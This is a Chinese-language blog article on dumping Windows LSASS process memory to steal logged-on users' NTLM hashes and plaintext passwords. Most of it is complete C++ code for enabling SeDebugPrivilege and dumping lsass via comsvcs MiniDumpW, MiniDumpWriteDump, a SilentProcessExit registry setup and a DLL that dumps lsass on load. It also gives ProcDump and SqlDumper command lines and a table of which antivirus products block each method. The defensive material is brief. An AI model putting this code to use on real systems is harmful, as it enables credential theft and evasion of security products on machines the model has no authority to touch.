关于Dump lsass
字数 1490 2025-08-06 18:08:09
Windows系统LSASS进程内存转储技术详解
1. 基础知识
1.1 Windows密码存储机制
Windows系统中密码通常由两部分组成:
- LM Hash:较老的哈希算法,安全性较低
- NTLM Hash:较新的哈希算法,安全性更高
Hash结构:username:RID:LM-HASH:NT-HASH
存储位置:
- 本地用户:SAM文件
- 域用户:域控的NTDS.dit文件
- 内存:通过读取lsass.exe进程可获取已登录用户的NTLM hash和明文密码
1.2 防护措施
-
Protected Users组(WinSer12+):
- 将用户加入此组可防止使用Mimikatz等工具抓取Hash和明文密码
-
安装KB2871997补丁:
- 普通用户无法使用常规Hash传递攻击
- 例外:SID 500 (Administrator)账号仍可进行Hash传递攻击
-
注册表修改:
- 禁止内存中存储明文密码
- 关闭Wdigest功能(WinSer12+默认关闭):
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential - 限制管理员网络登录:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken=1
2. 权限提升
2.1 SeDebugPrivilege权限
- 作用:允许读写system启动的进程内存
- 检查权限:
whoami /priv - 获取条件:需要管理员权限
2.2 开启SeDebugPrivilege的方法
方法一:标准API方式
#include <windows.h>
#include <iostream>
using namespace std;
void GetPrivilege() {
HANDLE TokenHandle = NULL;
BOOL Open = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &TokenHandle);
if (Open != 0) {
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
BOOL Lookup = LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = true ? SE_PRIVILEGE_ENABLED : 0;
if (Lookup != 0) {
BOOL AdjustToken = AdjustTokenPrivileges(TokenHandle, FALSE, &tp, sizeof(tp), NULL, NULL);
if (AdjustToken != 0) {
CloseHandle(TokenHandle);
cout << "AdjustTokenPrivileges Success" << endl;
} else {
cout << "AdjustTokenPrivileges Error" << endl;
}
} else {
cout << "LookupPrivilegeValue Error" << endl;
}
} else {
cout << "OpenProcessToken Error" << endl;
}
}
方法二:RtlAdjustPrivilege(未公开函数)
#include <windows.h>
#include <iostream>
using namespace std;
typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(
ULONG Privilege,
BOOL Enable,
BOOL CurrentThread,
PULONG Enabled
);
_RtlAdjustPrivilege RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlAdjustPrivilege");
int SeDebugPrivilege() {
ULONG t;
RtlAdjustPrivilege(20, TRUE, FALSE, &t);
if (RtlAdjustPrivilege == NULL) {
cout << "Unable to resolve RtlAdjustPrivilege" << endl;
return 0;
}
cout << "RtlAdjustPrivilege Success" << endl;
}
3. LSASS转储方法
3.1 白名单文件方式
3.1.1 ProcDump(微软签名)
procdump.exe -accepteula -ma lsass.exe lsass.dmp
- 检测:360会查杀,卡巴斯基会拦截敏感进程
3.1.2 SQLDumper(微软签名)
tasklist /svc | findstr "lsass.exe"
SqlDumper.exe <pid> 0 0x01100 dump64
- 检测:卡巴斯基无法导出,360拦截
3.1.3 DumpMinitool.exe(Visual Studio自带)
路径:
C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\Extensions\TestPlatform\Extensions
- 检测:卡巴斯基无法通过
3.2 函数实现方式
3.2.1 MiniDumpW(comsvcs.dll)
#include <windows.h>
#include <iostream>
#include <tlhelp32.h>
#include <processthreadsapi.h>
#include <DbgHelp.h>
using namespace std;
typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(ULONG, BOOL, BOOL, PULONG);
_RtlAdjustPrivilege RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlAdjustPrivilege");
int SeDebugPrivilege() {
ULONG t;
RtlAdjustPrivilege(20, TRUE, FALSE, &t);
if (RtlAdjustPrivilege == NULL) {
cout << "Unable to resolve RtlAdjustPrivilege" << endl;
return 0;
}
cout << "RtlAdjustPrivilege Success" << endl;
}
int main(int argc, char* argv[]) {
DWORD pid;
PROCESSENTRY32 ed;
ed.dwSize = sizeof(PROCESSENTRY32);
SeDebugPrivilege();
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (Process32First(hSnapshot, &ed)) {
while (Process32Next(hSnapshot, &ed)) {
if (!lstrcmp(ed.szExeFile, "lsass.exe")) {
pid = ed.th32ProcessID;
break;
}
}
}
CloseHandle(hSnapshot);
typedef void(WINAPI* _MiniDumpW)(DWORD, DWORD, PWCHAR);
_MiniDumpW MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary("comsvcs.dll"), "MiniDumpW");
MiniDumpW(pid, GetCurrentProcessId(), L"C:\\Windows\\Temp\\lsass.dmp");
cout << "MiniDumpW Success" << endl;
return 0;
}
3.2.2 MiniDumpWriteDump(官方API)
#include <windows.h>
#include <iostream>
#include <tlhelp32.h>
#include <processthreadsapi.h>
#include <DbgHelp.h>
#pragma comment(lib, "DbgHelp.lib")
using namespace std;
typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(ULONG, BOOL, BOOL, PULONG);
_RtlAdjustPrivilege RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlAdjustPrivilege");
int SeDebugPrivilege() {
ULONG t;
RtlAdjustPrivilege(20, TRUE, FALSE, &t);
if (RtlAdjustPrivilege == NULL) {
cout << "Unable to resolve RtlAdjustPrivilege" << endl;
return 0;
}
cout << "RtlAdjustPrivilege Success" << endl;
}
int main() {
DWORD pid;
PROCESSENTRY32 ed;
ed.dwSize = sizeof(PROCESSENTRY32);
SeDebugPrivilege();
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (Process32First(hSnapshot, &ed)) {
while (Process32Next(hSnapshot, &ed)) {
if (!lstrcmp(ed.szExeFile, "lsass.exe")) {
pid = ed.th32ProcessID;
break;
}
}
}
CloseHandle(hSnapshot);
HANDLE Open_Handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
HANDLE Dump_File = CreateFile("C:\\Windows\\Temp\\lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
BOOL isDumped = MiniDumpWriteDump(Open_Handle, pid, Dump_File, MiniDumpWithFullMemory, NULL, NULL, NULL);
if (isDumped == TRUE) {
cout << "Success" << endl;
} else {
cout << "MiniDumpWriteDump Error" << endl;
}
return 0;
}
3.3 RtlReportSilentProcessExit(静默退出)
3.3.1 注册表设置
-
设置GlobalFlag:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe GlobalFlag = 0x200 (FLG_MONITOR_SILENT_PROCESS_EXIT) -
设置SilentProcessExit:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe ReportingMode = 0x2 (LOCAL_DUMP) LocalDumpFolder = "C:\tmp" DumpType = 0x2 (Full dump)
3.3.2 代码实现
#include <windows.h>
#include <iostream>
#include <tlhelp32.h>
using namespace std;
typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(ULONG, BOOL, BOOL, PULONG);
_RtlAdjustPrivilege RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlAdjustPrivilege");
int SeDebugPrivilege() {
ULONG t;
RtlAdjustPrivilege(20, TRUE, FALSE, &t);
if (RtlAdjustPrivilege == NULL) {
cout << "Unable to resolve RtlAdjustPrivilege" << endl;
return 0;
}
cout << "RtlAdjustPrivilege Success" << endl;
}
int Get_Pid() {
DWORD pid;
PROCESSENTRY32 ed;
ed.dwSize = sizeof(PROCESSENTRY32);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (Process32First(hSnapshot, &ed)) {
while (Process32Next(hSnapshot, &ed)) {
if (!lstrcmp(ed.szExeFile, "lsass.exe")) {
pid = ed.th32ProcessID;
break;
}
}
}
CloseHandle(hSnapshot);
return pid;
}
int Reg_Set() {
HKEY phkResult;
LSTATUS RegCreate = RegCreateKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\lsass.exe", 0, NULL, 0, KEY_ALL_ACCESS, NULL, &phkResult, NULL);
if (RegCreate == ERROR_SUCCESS) {
DWORD GlobalFlag = 0x200;
LSTATUS RegSetValue_GlobalFlag = RegSetValueExA(phkResult, "GlobalFlag", 0, REG_DWORD, (const BYTE*)&GlobalFlag, sizeof(DWORD));
CloseHandle(phkResult);
RegCreate = RegCreateKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\lsass.exe", 0, NULL, 0, KEY_ALL_ACCESS, NULL, &phkResult, NULL);
if (RegCreate == ERROR_SUCCESS) {
DWORD ReportingMode = 0x2;
LSTATUS RegSetValue_ReportingMode = RegSetValueExA(phkResult, "ReportingMode", 0, REG_DWORD, (const BYTE*)&ReportingMode, sizeof(DWORD));
const char* LocalDumpFolder = "C:\\tmp";
LSTATUS RegSetValue_LocalDumpFolder = RegSetValueExA(phkResult, "LocalDumpFolder", 0, REG_SZ, (const BYTE*)LocalDumpFolder, strlen(LocalDumpFolder) + 1);
DWORD DumpType = 0x2;
LSTATUS RegSetValue_DumpType = RegSetValueExA(phkResult, "DumpType", 0, REG_DWORD, (const BYTE*)&DumpType, sizeof(DWORD));
CloseHandle(phkResult);
if (RegSetValue_ReportingMode == ERROR_SUCCESS && RegSetValue_LocalDumpFolder == ERROR_SUCCESS && RegSetValue_DumpType == ERROR_SUCCESS) {
cout << "RegSetValue_All Success" << endl;
}
}
}
return 0;
}
int main(int argc, char* argv) {
Reg_Set();
DWORD pid = Get_Pid();
cout << "Lsass Pid is:" << pid << endl;
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pid);
if (hProcess != NULL) {
typedef NTSTATUS(NTAPI* _RtlReportSilentProcessExit)(HANDLE, NTSTATUS);
_RtlReportSilentProcessExit RtlReportSilentProcessExit = (_RtlReportSilentProcessExit)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlReportSilentProcessExit");
RtlReportSilentProcessExit(hProcess, 0);
CloseHandle(hProcess);
cout << "Path:C:\\tmp" << endl;
}
return 0;
}
3.4 DLL加载方式
#include <Windows.h>
#include <iostream>
#include <tlhelp32.h>
#include <processthreadsapi.h>
#include <DbgHelp.h>
#pragma comment(lib, "DbgHelp.lib")
typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(ULONG, BOOL, BOOL, PULONG);
_RtlAdjustPrivilege RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlAdjustPrivilege");
int SeDebugPrivilege() {
ULONG t;
RtlAdjustPrivilege(20, TRUE, FALSE, &t);
if (RtlAdjustPrivilege == NULL) {
cout << "Unable to resolve RtlAdjustPrivilege.\n" << endl;
return 0;
}
cout << "RtlAdjustPrivilege Success" << endl;
}
void Dump() {
DWORD pid;
PROCESSENTRY32 ed;
ed.dwSize = sizeof(PROCESSENTRY32);
SeDebugPrivilege();
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (Process32First(hSnapshot, &ed)) {
while (Process32Next(hSnapshot, &ed)) {
if (!lstrcmp(ed.szExeFile, "lsass.exe")) {
pid = ed.th32ProcessID;
break;
}
}
}
CloseHandle(hSnapshot);
HANDLE Open_Handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
HANDLE Dump_File = CreateFile("C:\\Windows\\Temp\\lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
MiniDumpWriteDump(Open_Handle, pid, Dump_File, MiniDumpWithFullMemory, NULL, NULL, NULL);
CloseHandle(Dump_File);
CloseHandle(Open_Handle);
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
Dump();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
4. 检测与防御
4.1 安全产品检测情况
| 方法 | 360 | 卡巴斯基 |
|---|---|---|
| ProcDump | 查杀 | 拦截敏感进程 |
| SQLDumper | 拦截 | 无法导出 |
| DumpMinitool | - | 无法通过 |
| MiniDumpW | 核晶无法完整导出 | 无法导出 |
| MiniDumpWriteDump | 核晶无法完整导出 | 无法导出 |
| RtlReportSilentProcessExit | 检测注册表操作 | 无法导出 |
| DLL加载 | - | 无法通过 |
4.2 其他未提及方法
- SSP (Security Support Provider):通过安装SSP DLL来截获凭据
- WDigest:如果开启,可从内存中提取明文密码
- 其他LOLBINs:利用更多微软签名工具进行转储
5. 总结
本文详细介绍了多种从LSASS进程转储内存凭据的技术,包括白名单文件利用、API调用、注册表操作和DLL注入等方法。每种方法都有其特点和适用的场景,同时也面临着不同安全产品的检测和拦截。防御方面,建议结合组策略、补丁更新和注册表设置等多层防护措施来保护系统凭据安全。